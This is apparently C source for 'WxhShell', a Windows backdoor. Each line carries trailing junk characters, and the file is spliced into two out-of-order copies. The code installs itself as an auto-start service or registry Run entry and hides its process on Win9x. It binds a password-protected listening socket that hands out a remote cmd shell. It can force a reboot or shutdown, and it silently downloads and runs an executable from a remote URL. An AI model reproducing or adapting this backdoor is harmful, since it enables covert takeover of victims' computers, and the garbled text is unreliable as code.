    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A37Z;/H~k  
    if(Boot(SHUTDOWN)) 3,oFT   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ^9[j}  
    else { pL.r 9T.  
    closesocket(wsh); S<88>|&n]  
    ExitThread(0); &Zd{ElM  
    } m,Q<4'  
    break; H:,rNaz7D^  
    } jp=^$rS6[  
  // 获取shell x?va26FV  
  case 's': { 2Ev~[Hb.  
    CmdShell(wsh); lY.FmF}k  
    closesocket(wsh); mZ7.#R*}  
    ExitThread(0); 9i yNR!  
    break; d@7 ]=P:  
  } WkXa%OZ  
  // 退出 2P!Pbl<  
  case 'x': { s7(mNpo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f/*Xw{s#  
    CloseIt(wsh); _D$|lk-  
    break; Ga.a"\F.V  
    } }4#%0x`w  
  // 离开 !j%vUe;t  
  case 'q': { @,i:fY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MHI0>QsI  
    closesocket(wsh); ~BrERUk  
    WSACleanup(); >e=tem~/  
    exit(1); 6Nj\N oS  
    break; iKLN !QR  
        } Wl;F]_|*(  
  } (t>BO`,  
  } jNaK]  
rVt6tx  
  // 提示信息 S,n*1&ogj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G9N6iKP!  
} o" &7$pAh  
  } c[3sg  
$;@^coz9U  
  return; LUHj3H  
} =>)l6**UE  
\n6#D7OV  
// shell模块句柄 TW{.qed8^  
int CmdShell(SOCKET sock) BV9B}IV  
{ ?\(E+6tpP  
STARTUPINFO si; eqZ V/a  
ZeroMemory(&si,sizeof(si)); c,!Ijn\;(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]A5FN4 E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %g kR G66  
PROCESS_INFORMATION ProcessInfo; 5^ARC^v  
char cmdline[]="cmd"; i`FevAx;[m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iNe;h|  
  return 0; wta\C{{  
} ? Z.p.v  
aVNRhnM  
// 自身启动模式 )0j^Fq5[+  
int StartFromService(void) ">v76%>Z7  
{ eL0U5>#  
typedef struct ht (RX  
{ =n cu# T]  
  DWORD ExitStatus; 8l~] }2LAs  
  DWORD PebBaseAddress; ltwX-   
  DWORD AffinityMask; aiF7\^aw$  
  DWORD BasePriority; -ce N}Cb3  
  ULONG UniqueProcessId; .Quu_S_ vH  
  ULONG InheritedFromUniqueProcessId; i,8h B(M!  
}   PROCESS_BASIC_INFORMATION; ; "ux{ .  
=;l .<{<VH  
PROCNTQSIP NtQueryInformationProcess; A Ns.`S  
4fT,/[k?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JLT10c3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =$X5O&E3'  
lr=? &>MXj  
  HANDLE             hProcess; iyB02\d  
  PROCESS_BASIC_INFORMATION pbi; 9 ]c2ub7  
g1@zk $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q]S~H+eRy  
  if(NULL == hInst ) return 0; l<ag\ d  
2RFYnDN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s+#gH@c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IX$dDwY|O>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p^3 ]Q  
='`z  
  if (!NtQueryInformationProcess) return 0; 07[A&B!  
}TzMWdT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .__XOd} K  
  if(!hProcess) return 0; @i'RIL}  
Q })x4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ynl^Z  
!TA6-]1  
  CloseHandle(hProcess); (+`pEDD{X  
64%P}On  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aHNR0L3$}{  
if(hProcess==NULL) return 0; ]>tYU   
0M7Or)qN  
HMODULE hMod; $5yH(Z[[  
char procName[255]; )e d5~ok  
unsigned long cbNeeded; H!?Av$h`  
x4r8^,K3Zn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;PCnEs  
NoTEbFrV  
  CloseHandle(hProcess); 4zkn~oy  
_PLY<i2vr  
if(strstr(procName,"services")) return 1; // 以服务启动 {_&'tXL  
i ?&t@"'  
  return 0; // 注册表启动 twv|,kM  
} 48hu=,)81*  
=iW!Mq  
// 主模块 Ebw1 %W KC  
int StartWxhshell(LPSTR lpCmdLine) $N'AZY]4]  
{ ]-QY, k  
  SOCKET wsl; ,pM~Phmp  
BOOL val=TRUE;  J -tOO  
  int port=0; 7I;xRo|  
  struct sockaddr_in door; hiq7e*Nsb  
DDxbIkt  
  if(wscfg.ws_autoins) Install(); Yz(k4K L  
YT'G#U1x~  
port=atoi(lpCmdLine); 4[m})X2(  
/j/,@,lw7z  
if(port<=0) port=wscfg.ws_port; 7?!A~Seo|  
JL[$B1  
  WSADATA data; $\M<gW6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  J@sH(S  
6_]-&&Nr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #S)] `YW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sL" h  
  door.sin_family = AF_INET; @ol=gBU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2l]*><q|  
  door.sin_port = htons(port); t5t,(^;f  
I,TJV)B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w^OV;gp  
closesocket(wsl); Y)#x(s?t  
return 1; R % [ZQ K  
} ~A@T_ *0  
_&V%idz!0  
  if(listen(wsl,2) == INVALID_SOCKET) { POvxZU  
closesocket(wsl); vUm#^/#I  
return 1; 701a%Jq_2  
} 1P4cB w%  
  Wxhshell(wsl); ^j]"!:h  
  WSACleanup(); mN^w?R41m  
jz,Mm,Gi  
return 0; [.J&@96,b  
wpgO09  
} 1(%9)).K  
8Na.H::cZ  
// 以NT服务方式启动 <;Q1u,Mc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @Wgd(Ezd  
{ Lzmdy0!'  
DWORD   status = 0; H#H@AY3Y  
  DWORD   specificError = 0xfffffff; z=mH\!  
 ?QA![  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F6 mc<n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :rxS &5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SnIH6k0T_  
  serviceStatus.dwWin32ExitCode     = 0; f>*T0"\c  
  serviceStatus.dwServiceSpecificExitCode = 0; v.iHgh  
  serviceStatus.dwCheckPoint       = 0; kN7 J Z12  
  serviceStatus.dwWaitHint       = 0; _y>mmE   
SeuC7!q{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +cH,2^&  
  if (hServiceStatusHandle==0) return; di.yh3N$  
-R %T Dx  
status = GetLastError(); 9mE6Cp.Wv  
  if (status!=NO_ERROR) =MR.*m{  
{ MoAie|MKe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jr/  
    serviceStatus.dwCheckPoint       = 0; #(@!:f1  
    serviceStatus.dwWaitHint       = 0; z$g cK>@l  
    serviceStatus.dwWin32ExitCode     = status; X0:V5 e  
    serviceStatus.dwServiceSpecificExitCode = specificError; sX8d8d`}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xir ERc.e  
    return; 8;PS>9<  
  } rA+UftC:p6  
SEfRU`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nm"]q`(K  
  serviceStatus.dwCheckPoint       = 0; uu7 ?,WT  
  serviceStatus.dwWaitHint       = 0; ),{v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r ^=rs!f@  
} EPEWyGw  
@jL](Mq|]  
// 处理NT服务事件,比如:启动、停止 B":9C'tip  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 26M:D&|ZB  
{ ATQw=w 3W  
switch(fdwControl) Borr  
{ TWzlF>4N  
case SERVICE_CONTROL_STOP: FOPfo b[  
  serviceStatus.dwWin32ExitCode = 0; F u>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vYFtw L`  
  serviceStatus.dwCheckPoint   = 0; &}'FC7}  
  serviceStatus.dwWaitHint     = 0; $>JfLSyC  
  { 5)5$h]Nz>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uzoI*aqk-s  
  } J.E Bt3  
  return; G]]"J c  
case SERVICE_CONTROL_PAUSE: n!aA<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P"(VRc6x  
  break; (@DqKB  
case SERVICE_CONTROL_CONTINUE: !S.O~Kq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,(u-q]8   
  break; 8H'ybfed  
case SERVICE_CONTROL_INTERROGATE: DC samOA~  
  break; *S xDwN  
}; awXK9}.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FR9w0{o  
} HNJR&U t  
gmUXh;aHc  
// 标准应用程序主函数 A%[e<vj9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` 0$i^,}  
{ 8Y]% S9.  
qX[{_$^Q  
// 获取操作系统版本 Y/x>wNW  
OsIsNt=GetOsVer(); zG0]!A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a}e GB +  
F50l->F2&  
  // 从命令行安装 vp32}ze D  
  if(strpbrk(lpCmdLine,"iI")) Install(); (ZPl~ZO  
6"Ze%:AZZ  
  // 下载执行文件 F9} zt 9  
if(wscfg.ws_downexe) { lw]uH<v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eo@kn yA<&  
  WinExec(wscfg.ws_filenam,SW_HIDE); hv  
} +\doF  
|(%=zb=?X  
if(!OsIsNt) { j.&Y'C7GOC  
// 如果时win9x,隐藏进程并且设置为注册表启动 C66 9:%  
HideProc(); HNRAtRvnY  
StartWxhshell(lpCmdLine); XS}-@5TI  
} 216`rQ}z  
else 2Z-[x9t  
  if(StartFromService()) "MvSF1  
  // 以服务方式启动 nt]'>eX_}  
  StartServiceCtrlDispatcher(DispatchTable); 7lx" X0w*m  
else {Gr"lOi*@  
  // 普通方式启动 hgj ]Jr  
  StartWxhshell(lpCmdLine); 0 <E2^  
eB&.keO  
return 0; qfkd Q/fP  
} y7t'I.E[+  
2 \<u;9  
BM~6P|&qD  
*@{  
=========================================== ?8do4gT+1  
ECyG$j0  
_l"=#i@L  
rB|1<jR  
28LBvJVq@  
~<.{z]*O  
" /-knqv  
6HguZ_jC  
#include <stdio.h> ih|;H:"^  
#include <string.h> DfU]+;AE  
#include <windows.h> x5Ue"RMl+  
#include <winsock2.h> :GN++\ 1pw  
#include <winsvc.h> !}5f{,.RO  
#include <urlmon.h> MQQQaD:v  
NEUr w/  
#pragma comment (lib, "Ws2_32.lib") e^<'H  
#pragma comment (lib, "urlmon.lib") gyQPQ;"H$2  
!4a#);`G  
#define MAX_USER   100 // 最大客户端连接数 m-6&-G#  
#define BUF_SOCK   200 // sock buffer ~ulcLvm:i  
#define KEY_BUFF   255 // 输入 buffer Q:j~ kutS|  
Ma'#5)D  
#define REBOOT     0   // 重启 C B`7KK  
#define SHUTDOWN   1   // 关机 [8<0Q_?,  
Qgf\"s  
#define DEF_PORT   5000 // 监听端口 Ge @qvP_  
Rt5,/Q0  
#define REG_LEN     16   // 注册表键长度 i)]f0F  
#define SVC_LEN     80   // NT服务名长度 P(s:+  
VJ8'T"^Hf  
// 从dll定义API ny%$BQM=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (j~T7og  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;"2VU"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UT5xUv5'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K_AdMXF9  
mrq,kwM  
// wxhshell配置信息 _s+G02/q1  
struct WSCFG { OkAgO3>Y/  
  int ws_port;         // 监听端口 ^D1gcI  
  char ws_passstr[REG_LEN]; // 口令 2cO6'?b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1S(n3(KRk$  
  char ws_regname[REG_LEN]; // 注册表键名 H+562W  
  char ws_svcname[REG_LEN]; // 服务名 #sg*GK+|:R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yi]`"\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kS35X)-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j 7^A%9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t-5K dLB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Go!{@ xx>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /k[8xb  
?S'aA !/;  
}; >S-JAPuO  
x#5vdBf  
// default Wxhshell configuration h-//v~V)  
struct WSCFG wscfg={DEF_PORT, uts>4r>+  
    "xuhuanlingzhe", H0!$aO  
    1, @( \R@`#  
    "Wxhshell", n!.=05OtX  
    "Wxhshell", Yo1]HG(kXB  
            "WxhShell Service", d/T&J=  
    "Wrsky Windows CmdShell Service", FW5v 1s=  
    "Please Input Your Password: ", D^2lb"3  
  1, @}19:A<'  
  "http://www.wrsky.com/wxhshell.exe", \>>P%EU,  
  "Wxhshell.exe" J>k 6`gw  
    }; aNs8T`  
j74hWz+p4  
// 消息定义模块 Q% d1O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m[(_fOd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6:L2oW 6}{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :<s`)  
char *msg_ws_ext="\n\rExit."; ok [_Z;  
char *msg_ws_end="\n\rQuit."; yf;TIh%)=  
char *msg_ws_boot="\n\rReboot..."; ahIDKvJ4  
char *msg_ws_poff="\n\rShutdown..."; _g fmo  
char *msg_ws_down="\n\rSave to "; {NQCe0S+p  
Mvue>)g~>  
char *msg_ws_err="\n\rErr!"; @e&0Wk  
char *msg_ws_ok="\n\rOK!"; }zS5o [OE  
H] g=( %ok  
char ExeFile[MAX_PATH]; 0{uaSR  
int nUser = 0; /D1Lh_,2  
HANDLE handles[MAX_USER]; $_,-ES I  
int OsIsNt; $5/d?q-ts{  
5~/EAK`  
SERVICE_STATUS       serviceStatus; p!8phS#iP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xtfs)"  
+Z2XP76(4A  
// 函数声明 x;sc?5_`  
int Install(void); u#rbc"  
int Uninstall(void); %$kd`Rl}  
int DownloadFile(char *sURL, SOCKET wsh); }vh4ix  
int Boot(int flag); q*4U2_^.  
void HideProc(void); (X Oz0.W  
int GetOsVer(void); UlXxG|  
int Wxhshell(SOCKET wsl); >d=pl}-kOQ  
void TalkWithClient(void *cs); Ue60Mf  
int CmdShell(SOCKET sock); #qmsZHd}b  
int StartFromService(void); SE43C %hv  
int StartWxhshell(LPSTR lpCmdLine); "/RMIS K[;  
JBLUX,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <&3aP}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ez!W0  
Zhv%mUj~  
// 数据结构和表定义 -|^)8  
SERVICE_TABLE_ENTRY DispatchTable[] = GA$fueiQNs  
{ "&/2 @  
{wscfg.ws_svcname, NTServiceMain}, g`Cv[Pq?at  
{NULL, NULL} $/|) ,n  
}; HzKY2F(,  
:fwtPvLo  
// 自我安装 UKZ )Boo  
int Install(void) z6l'v~\  
{ 8PH4v\tJEK  
  char svExeFile[MAX_PATH]; ;Vc|3  
  HKEY key; In?#?:Q@&  
  strcpy(svExeFile,ExeFile); pqb`g@  
|,5|ZpgL  
// 如果是win9x系统,修改注册表设为自启动 $H[q5(_~  
if(!OsIsNt) { 5O d]rE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p4MWX12  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZZZ9C#hK^9  
  RegCloseKey(key); b=xn(HE8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ ,]U~7S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Gz9pBv1  
  RegCloseKey(key); e3W~6P  
  return 0; j*gJP !  
    } dr}PjwW%  
  } PZJ9f8 V  
} IQ_s]b;z  
else { c AO:fb7  
T]Ai{@i  
// 如果是NT以上系统,安装为系统服务 _K!.TM+9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |idw?qCn  
if (schSCManager!=0) 2nC,1%kxhq  
{ rIJPgF  
  SC_HANDLE schService = CreateService fglfnx0{  
  ( A]5];c  
  schSCManager, YS){ N=g&'  
  wscfg.ws_svcname, ^iJyo&I  
  wscfg.ws_svcdisp, A]'jsv!+  
  SERVICE_ALL_ACCESS, ,!@MLn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Q;sbI}  
  SERVICE_AUTO_START, $C5*@`GM$  
  SERVICE_ERROR_NORMAL, 0"% dPKi  
  svExeFile, 72"H#dy%U  
  NULL, ;h+~xxu=X  
  NULL, [RN]?,  
  NULL, 5|*`} ;/y  
  NULL, N'9T*&o+  
  NULL e%L[bGW'  
  ); ;*<R~HJt  
  if (schService!=0) uO eal^uS  
  { p> >H$t  
  CloseServiceHandle(schService); tkcs6uy  
  CloseServiceHandle(schSCManager); -qDqJ62mC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); znTi_S  
  strcat(svExeFile,wscfg.ws_svcname); 1<73uR&b%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >8k Xa.)84  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @WS77d~S  
  RegCloseKey(key); 86 e13MF  
  return 0; ;J TY#)Bh  
    } e 9RYk:O  
  } [V:~j1{3  
  CloseServiceHandle(schSCManager); QwWd"Of  
} p? o[+L<  
} k:run2K  
<MkvlLu((o  
return 1; ~Ay)kv;  
} HrvyI)4{  
WIf.;B)L  
// 自我卸载 EG3,TuDH8  
int Uninstall(void) <6Gs0\JB  
{ >h;]rMD!|  
  HKEY key; :tU^  
X:g5;NT  
if(!OsIsNt) { G Ixs>E'X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0LH6G[  
  RegDeleteValue(key,wscfg.ws_regname); wCNn/%C  
  RegCloseKey(key); 0Q&(j7`^@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r5S/lp+Y+N  
  RegDeleteValue(key,wscfg.ws_regname); mLZ1u\ 7W  
  RegCloseKey(key); ^gvTc+|  
  return 0; zU ~ Ff"<  
  } 2vjkThh`I  
} ?#=xx.cF  
} 6d6cZGS[:  
else { )w M%Ul<s  
McasnjC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b-VygLN  
if (schSCManager!=0) z80P5^9  
{ bc'IoD/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2wY|E<E  
  if (schService!=0) ,.QJ S6Yv  
  { 8.B'O>\T  
  if(DeleteService(schService)!=0) { }^Q:Q\  
  CloseServiceHandle(schService); ai sa2#  
  CloseServiceHandle(schSCManager); pvyEs|f=%  
  return 0; oc( '!c  
  } WSH[*jMA  
  CloseServiceHandle(schService); FefroaJ:u  
  } n>q!m@ }<  
  CloseServiceHandle(schSCManager); %T]^,y$n  
} K9k!P8Rd  
} Q*>)W{H&)  
x5Lbe5/P  
return 1; *7h~0%WR  
} b+|Jw\k  
@}d;-m~  
// 从指定url下载文件 6(`N!]e*L  
int DownloadFile(char *sURL, SOCKET wsh) <N=k&\  
{ ,7&\jET5^0  
  HRESULT hr; T[|#DMg$F  
char seps[]= "/"; I!Z`'1"  
char *token; 3t TOs  
char *file; z:#]P0  
char myURL[MAX_PATH]; C LaQE{  
char myFILE[MAX_PATH]; .u&xo{$'dS  
(O0Ry2u k  
strcpy(myURL,sURL); |z=`Ur@)  
  token=strtok(myURL,seps); ct3i^,i  
  while(token!=NULL) AuXUD9 -  
  { z.cDbkf}  
    file=token; H1kI+YJ@  
  token=strtok(NULL,seps); B&a{,.m&q6  
  } FFcCoPX_  
Z2$_9.  
GetCurrentDirectory(MAX_PATH,myFILE); R|\eBnfI  
strcat(myFILE, "\\"); hD ~/ywS&  
strcat(myFILE, file); d,(y$V+  
  send(wsh,myFILE,strlen(myFILE),0); CwX?%$S   
send(wsh,"...",3,0); G)?*BH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J.1 c,@  
  if(hr==S_OK) R xITMt  
return 0; \yJ 4+vo2Q  
else DPzW,aIgv  
return 1; )sm9%|.&  
hc|A:v)]  
} NlEyT9  
~{Iw[,MJ  
// 系统电源模块 ZR}v_]l^  
int Boot(int flag) Df4O~j$U"s  
{ &IUA[{o~e  
  HANDLE hToken; ~][~aEat;V  
  TOKEN_PRIVILEGES tkp; 03fOm  
/ (BS<A  
  if(OsIsNt) { ]\xt[/?{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OCx'cSs-=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]XEyG7D  
    tkp.PrivilegeCount = 1; ; CCg]hX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FLMiW]?x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F6q=W#~  
if(flag==REBOOT) { VxN#\D i&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) as:l1S   
  return 0; >j=ZB3yZ  
} U7g`R@  
else { x *I'Ar  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b \}a   
  return 0; caQ1SV^{9  
} 7p.8{zQ*  
  } }U_^zQfaj  
  else { 7#E/Q~]'6  
if(flag==REBOOT) { u;q Q/Ftb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B46:LQ9[  
  return 0; n>v1<^  
} *LB-V%{|'  
else { /+92DV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e#;43=/Ia  
  return 0; kC.dJ2^j+  
} mw5>[  
} CB#2XS>V  
^&YtZjV  
return 1; K:U=Y$x  
} b;QgL_w  
' bl9fO4v  
// win9x进程隐藏模块 oT{9P?K8  
void HideProc(void) u* pQVU  
{ eQ[akVMk  
-KGJr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0BC @wV  
  if ( hKernel != NULL ) oYw?kxRZ  
  { Sn-#Y(>]o0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )jL@GW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0OHXg=  
    FreeLibrary(hKernel); jo"nK,r  
  } $=plAi  
3~P$p<  
return; g&g:H H :  
} RDbNC v#  
Wmd@%K  
// 获取操作系统版本 nr]=O`Mvh  
int GetOsVer(void) %_E5B6xi{  
{ y05!-G:Y\  
  OSVERSIONINFO winfo; %_Vz0 D! 7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HAO-|=c4  
  GetVersionEx(&winfo); (>0`e8v!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /1LN\Eu  
  return 1; ]  & ]G  
  else @TALZk'%  
  return 0; |2^m CL.r  
} oqwW  
V Dnrm*  
// 客户端句柄模块 w~B1TfqNo  
int Wxhshell(SOCKET wsl) K;"H$0 !9  
{ 8 siP  
  SOCKET wsh; [ 6VM4l"  
  struct sockaddr_in client; )2).kL>  
  DWORD myID; <o()14  
_]*[TGap  
  while(nUser<MAX_USER) Mt4]\pMUb  
{ HCOsVTl,  
  int nSize=sizeof(client); =~O3j:<6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n/;{-  
  if(wsh==INVALID_SOCKET) return 1; 7{U[cG+a#  
8x1!15Wiz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &pI\VIx ?  
if(handles[nUser]==0) 9mvy+XD  
  closesocket(wsh); E4Q`)6]0  
else uO1^Q;F  
  nUser++; Tr;.%/4Q  
  } "-S!^h/v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h:Gs9]Lvtv  
+iN!$zF5]  
  return 0; x}a?B  
} GThGV"  
,zZH>P  
// 关闭 socket waC i9  
void CloseIt(SOCKET wsh) Q% aF~  
{ ;,U@zB;\%(  
closesocket(wsh); ]Qe~|9I  
nUser--; ,'c%S|]U7  
ExitThread(0); T+XcEI6w  
} ?T73BL=  
> U3>I^Y  
// 客户端请求句柄 o Rk'I  
void TalkWithClient(void *cs) JL_(%._J  
{ `GqF/?i  
XzV>q~I3|E  
  SOCKET wsh=(SOCKET)cs; hRuiuGC  
  char pwd[SVC_LEN]; ^'Lp<YJs6  
  char cmd[KEY_BUFF]; 6 p;Pf9 f  
char chr[1]; ;0_T\{H"nR  
int i,j; %pg)*>P h  
Z=-#{{bv  
  while (nUser < MAX_USER) { AIl`>ac  
TCzz]?G]la  
if(wscfg.ws_passstr) { IJ.H/l}h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WClprSl8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dh]Hf,OLF  
  //ZeroMemory(pwd,KEY_BUFF); <8%+-[(  
      i=0; vH6(p(l  
  while(i<SVC_LEN) { >7a ENKOg:  
j*8Ze!^  
  // 设置超时 %zc.b  
  fd_set FdRead; G{.=27  
  struct timeval TimeOut; 2pHR$GZ2  
  FD_ZERO(&FdRead); LL:N/1ysG  
  FD_SET(wsh,&FdRead); 2O(k@M5E?  
  TimeOut.tv_sec=8; ? }^ y6  
  TimeOut.tv_usec=0; ,%m~OB #  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dT1UYG}>j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XH0{|#hwN  
d+P<ce2 G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "c~``i\G   
  pwd=chr[0]; zhE4:g9v  
  if(chr[0]==0xd || chr[0]==0xa) { Fc=F2Mo?  
  pwd=0; n"iaE  
  break; M&zB&Ia"'  
  } ZK{1z|  
  i++; jY9tq[~/  
    } unYPvrd  
&VjPdu57  
  // 如果是非法用户,关闭 socket U#Kw+slM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0*^f EoV  
} :;#^gv H  
n>^9+Rx|i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 78T;b7!-C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zGO_S\  
( K-7z  
while(1) { P[`>*C\9c  
z 4. |N  
  ZeroMemory(cmd,KEY_BUFF); 8oHIXnK  
mFpj@=^_G  
      // 自动支持客户端 telnet标准   y54RD/`-  
  j=0; -[=@'N P  
  while(j<KEY_BUFF) { LUx'Dm"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %LdBO1D0  
  cmd[j]=chr[0]; VKXB)-'L  
  if(chr[0]==0xa || chr[0]==0xd) { " d~M \Az  
  cmd[j]=0; K~&3etQF  
  break; BR6HD7G  
  } WVyq$p/V  
  j++; ?fU{?nI}>p  
    } Zjc/GO  
<1sUK4nQ,  
  // 下载文件 $43CNnf3N  
  if(strstr(cmd,"http://")) { >&Ye(3w&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M;-FW5O't  
  if(DownloadFile(cmd,wsh)) '+|uv7|+v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <+ <o X"I  
  else VF-[O  
